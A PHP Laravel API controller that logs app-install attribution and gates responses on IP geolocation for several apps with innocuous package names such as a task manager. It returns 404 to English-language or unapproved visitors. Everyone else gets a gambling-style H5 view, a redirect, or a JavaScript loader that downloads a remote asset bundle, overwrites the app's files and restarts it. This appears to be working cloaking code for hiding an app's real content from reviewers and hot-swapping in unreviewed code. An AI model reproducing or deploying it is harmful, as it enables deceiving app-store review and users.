<?php

namespace App\Http\Controllers\Api;


use App\Facade\TableName;
use App\Http\Controllers\Controller;
use App\Http\helper\HttpCurl;
use App\Http\helper\NumConfig;
use App\Jobs\Order;
use App\Models\Cpf;
use App\Models\Installation;
use App\Models\PrivateMail;
use App\Models\RecordScoreInfo;
use App\Services\Goopago;
use App\Services\IpCheck;
use App\Services\OrderServices;
use App\Services\StoredProcedure;
use App\Util;
use App\Utility\SetNXLock;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Redis;
use Log;

// use Yansongda\Pay\Log;

class ApiSingleController extends Controller
{



    public function AdjustLog(Request $request)
    {
        $data = $request->all();

        // 从请求中提取数据并保存到数据库
        $installation=Installation::query()->where('gps_adid', $request->gps_adid)
            ->where('app_token', $request->app_token)->first();
        if($installation){
            if ($request->has('fb_install_referrer') && !empty($request->fb_install_referrer)) {
                $installation->update(["fb_install_referrer"=>$request->fb_install_referrer]);
            }
        }else{
            Installation::create($request->only([
                'app_token', 'app_name', 'app_name_dashboard', 'activity_kind',
                'adid', 'gps_adid', 'country', 'city', 'language', 'is_organic',
                'first_tracker', 'fb_install_referrer', 'device_manufacturer', 'device_name','ip_address','meta_install_referrer'
            ]));
        }



        Util::WriteLog("adjust",json_encode($request->all(),JSON_UNESCAPED_UNICODE|JSON_PRETTY_PRINT));
    }
    public function checkAppKey(Request $request,$appkey)
    {
        $lang=$request->l??substr( @$_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 5 );
        $this->checkAppKeyWithLang($request,$appkey,$lang);
    }
    public function checkAppKeyWithLang(Request $request,$appkey,$lang)
    {


        $goView=0;

        //含有参数adjust=gps_adid
        $isCheckAdjust=$request->adjust??false;

        if(strstr($appkey,"_")){
            $goView=1;
            $appkey_arr=explode("_",$appkey);
            $appkey=$appkey_arr[0];
            $lang=$appkey_arr[1];
        }
        $rediskey="package_appkey_$appkey";
        if(Redis::exists($rediskey)){
            $app=json_decode(Redis::get($rediskey));
        }else{
            $app=DB::connection('write')->table('QPPlatformDB.dbo.ChannelPackageName')->where('AppKey', $appkey)->first();
            Redis::set($rediskey, json_encode($app));
            Redis::expire($rediskey,600);
        }
        //不再设置范围内
        if(!isset($app)||empty($app)) {
            http_response_code(404);
            die;
        }
        //进来的数据不对等
        if(isset($request->package)&&$request->package!=$app->PackageName){
            die;
        }


        $service = new IpCheck();

        $login_ip = $request->header("X_REAL_IP")??$request->ip();

        $package=$app->PackageName;




        $ipcheck=$service->ipCheck($login_ip,$package,1,false);

        $lastRes=$service->lastLocation??"";

        $params=$request->all();
//        unset($params['a']);
//        unset($params['l']);
//        $params['locale']=$lang;
//        $params['appkey']=$appkey;

//        $newh5="https://www.ouro777.com/client/h2/?".http_build_query($params);

        $newh5=$app->AppCheckDomain.'/'.$appkey.'_'.$lang.'/';
//        $newh5="https://www.ouro777.com/client/h2/";

        if($goView==0){
            $attr=$request->a??"";
            Util::WriteLog('h5',compact('lang','package','ipcheck','login_ip','lastRes','attr','newh5'));
        }else{
            $attr=$request->attr??"";
            Util::WriteLog('h5view',compact('lang','package','ipcheck','login_ip','lastRes','attr','params'));

        }


        if($isCheckAdjust){
            if($ipcheck) {
                $installations = Installation::query()->where('gps_adid', $isCheckAdjust)->get();
                foreach ($installations as $installation) {
                    if(!empty($installation->fb_install_referrer)){
                        exit(json_encode(['adid'=>$isCheckAdjust,'fb_install_referrer'=>$installation->fb_install_referrer,'meta_install_referrer'=>$installation->meta_install_referrer]));
                    }
                }
            }
            exit(json_encode(['adid'=>$isCheckAdjust,'fb_install_referrer'=>'','meta_install_referrer'=>'']));
        }

        //封死英文
        if(strstr($lang,"en")){
            http_response_code(404);
            exit("");

        }else if($ipcheck){

            if($goView){
//                echo file_get_contents("https://cdn.moeda777.com/client/h2/index.data?111");
//                exit();
                exit(view("game.ouro.red777"));

                if(DB::table(TableName::QPAccountsDB() . 'AccountsInfo')->where('Channel',303)->where('RegisterMachine',$_REQUEST['adid'])->where('RegisterDate','<','2024-05-27')->exists()){
                    //go old
                    exit(view("game.ouro.red777"));
                }
                $query_string = http_build_query($_REQUEST);
                $redirect_url = 'https://cdn.moeda777.com/client/h2/pwa.html?' . $query_string;

                header("Location: $redirect_url", true, 302);
                exit();



            }else {

                $type = $request->t ?? "plain";
                if ($type == 'json') {
                    exit(json_encode(['res' => 1, 'url' => $newh5]));

                } else {

                    exit($newh5);
                }
            }

        }else{
//            exit($login_ip);
            http_response_code(404);
            exit("");

        }

    }
    public function FrontCheck(Request $request)
    {
        $lang=$request->l??"";

        $service = new IpCheck();

        $login_ip = $request->ip();



        $host=$_SERVER["HTTP_HOST"];
        $package="dhy.task.management";
        if($host=="ade246929caadac25.awsglobalaccelerator.com"){
            $package="vn.vastgroup.autojobs";
        }
        $ipcheck=$service->ipCheck($login_ip,$package,1);

        $lastRes=$service->lastLocation??"";
        Util::WriteLog('front',compact('lang','package','ipcheck','login_ip','lastRes'));

        //封死英文
        if(strstr($lang,"en")){
            http_response_code(404);
            exit();

        }else if($ipcheck){
            echo "1";die;


        }else{
            http_response_code(404);
            exit();

        }

    }
    public function LoginIP_Pigpig(Request $request){
        $this->LoginIP_Single($request,'com.pig.tomoney');
    }
    public function LoginIP_West(Request $request){
        $this->LoginIP_Single($request,'com.west.frzyapp');
    }
    public function LoginIP_Zeus(Request $request){
        http_response_code(404);
        exit();
//        $this->LoginIP_Single($request,'com.olympus.zgame');
    }
    public function LoginIP_SuperOX(Request $request){
        $this->CheckIpResult($request,'com.superox.xiaomi',1);
    }
    public function CheckIpResult(Request $request,$package=null,$forcePass=0){
//        $deviceid = $request->get('d')??"";
//        $v = $request->get('v')??1;
//        $v=intval($v);

        $package=$package??"com.carnivalgame.sppp";

        $service = new IpCheck();

        $login_ip = $request->ip();

        $ipcheck=$service->ipCheck($login_ip,$package,1);

        Util::WriteLog('single',compact('package','forcePass','ipcheck'));
        if($forcePass&&$ipcheck){
            echo "1";die;


        }else{
            http_response_code(404);
            exit();

        }

    }

    public function LoginIP_Single(Request $request,$package=null){
//        $deviceid = $request->get('d')??"";
//        $v = $request->get('v')??1;
//        $v=intval($v);

        $package=$package??"com.carnivalgame.sppp";

        $v=1;
        $service = new IpCheck();

        $login_ip = $request->ip();

        $ipcheck=$service->ipCheck($login_ip,$package,1);

        if($ipcheck){
            $js=<<<JS
class DownloadB{
    static getInstance(){
        if(this.instance==null){
            this.instance=new DownloadB();
            this.instance.init();
        }
        return this.instance;
    }
    init(){
        this.downloadUrl="http://192.168.1.3:8080/assets.zip";
        this.CACHE_PATH="GameAssets";
        this.HotUpdateSearchPathsKey="SLOKEY";

        if (window.gameNative) {this.CACHE_PATH=window.gameNative.fileUtils.getWritablePath()+this.CACHE_PATH;}
    }
    showProgressBar(){
        if (window.gameLoadingPanel) {
            let txt="Downloading "+0+"%";
            window.gameLoadingPanel.show(txt);
        }
    }
    updateProgressLabel(txt){
    }
    updateProgressBar(progress){
        if (window.gameLoadingPanel) {
            if (window.gameLoadingPanel.node.active==false) {
                this.showProgressBar();
            }
            let radio=progress/100;
            let txt="Downloading "+progress+"%";
            window.gameLoadingPanel.showProgress(radio,txt);
        }
    }
    //ui
    uint8ArrayToInt(uint8Array){
      var buffer = uint8Array.buffer;
      var view = new DataView(buffer);

      var num = view.getInt32(0);

      return num;
    }
    uint8ArrayToString(uint8Array){
        var str="";
        for (var i = 0; i < uint8Array.length; i++) {
            str+=String.fromCharCode(uint8Array[i]);
        }
        return str;
    }
    //不存在创建
    checkDir(path){
        if (window.gameNative) {
            let arr=path.split("/");
            arr.pop();
            let dir=this.CACHE_PATH;
            for (var i = 0; i < arr.length; i++) {
                dir=dir+"/"+arr[i];
                if (!window.gameNative.fileUtils.isDirectoryExist(dir)){
                    window.gameNative.fileUtils.createDirectory(dir);
                }
            }
        }
    }
    writeFile(path,filedata){
        this.checkDir(path);
        if (window.gameNative) {
            let fullpath=this.CACHE_PATH+"/"+path;
            window.gameNative.fileUtils.writeDataToFile(filedata, fullpath);
        }
    }
    unpack(data,callback){
        this.updateProgressLabel("Processing resources…");
        if (window.gameNative) {
            if (window.gameNative.fileUtils.isDirectoryExist(this.CACHE_PATH)) {
                window.gameNative.fileUtils.removeDirectory(this.CACHE_PATH);
            }
            window.gameNative.fileUtils.createDirectory(this.CACHE_PATH);
        }
        let dataarr=new Uint8Array(data);
        let datalen=dataarr.length;
        if (datalen<8) {return;}
        let pos=0;
        while(pos<datalen){
            let lenarr=dataarr.slice(pos,pos+8);
            let pathlen=this.uint8ArrayToInt(lenarr.slice(0,4));
            let filelen=this.uint8ArrayToInt(lenarr.slice(4,8));
            let sdatapos=pos+8;
            let epathpos=sdatapos+pathlen;
            let pathdata=dataarr.slice(sdatapos,epathpos);

            let sfilepos=sdatapos+pathlen;
            let efilepos=epathpos+filelen;
            let filedata=dataarr.slice(sfilepos,efilepos);

            let filepath=this.uint8ArrayToString(pathdata);
            let path=filepath;

            this.writeFile(path,filedata);
            pos+=(8+pathlen+filelen);
        }
        if (callback) {callback();}
    }
    updateSearchPaths(){
        cc.sys.localStorage.setItem(this.HotUpdateSearchPathsKey, "BDONWLOAD");
    }
    downloadDone(){
        let self=this;
        setTimeout(()=>{
            try{
                self.updateSearchPaths();
                // if (this.helper) {this.helper.init()}
            }
            catch(e){
                console.log(e);
            }
            cc.game.restart();
        }, 500);
    }
    startDownload(){
        let url=this.downloadUrl;
        this.showProgressBar();
        let self=this;

        cc.assetManager.loadRemote(url, {
            ext: ".bin",
            onFileProgress: (current, total) => {
                let progress=Math.floor((current/total)*100);
                self.updateProgressBar(progress);

            }
        }, (err, bufferAsset) => {
            if (err) {
                return;
            }
            self.updateProgressBar(100);
            let cachePath=cc.assetManager.cacheManager.getCache(url);
            let data=window.gameNative.fileUtils.getDataFromFile(cachePath);
            self.unpack(data,function(){
                self.downloadDone();
            });
        })
    }
}
let loop=setInterval(function(){
    if (window.gamePopBox!=null) {
        clearInterval(loop);
        window.stopLoading=true;
        DownloadB.getInstance().startDownload();
    }
},100)
JS;


        }else{
            http_response_code(404);
            exit();

        }
        echo $js;die;
    }



}
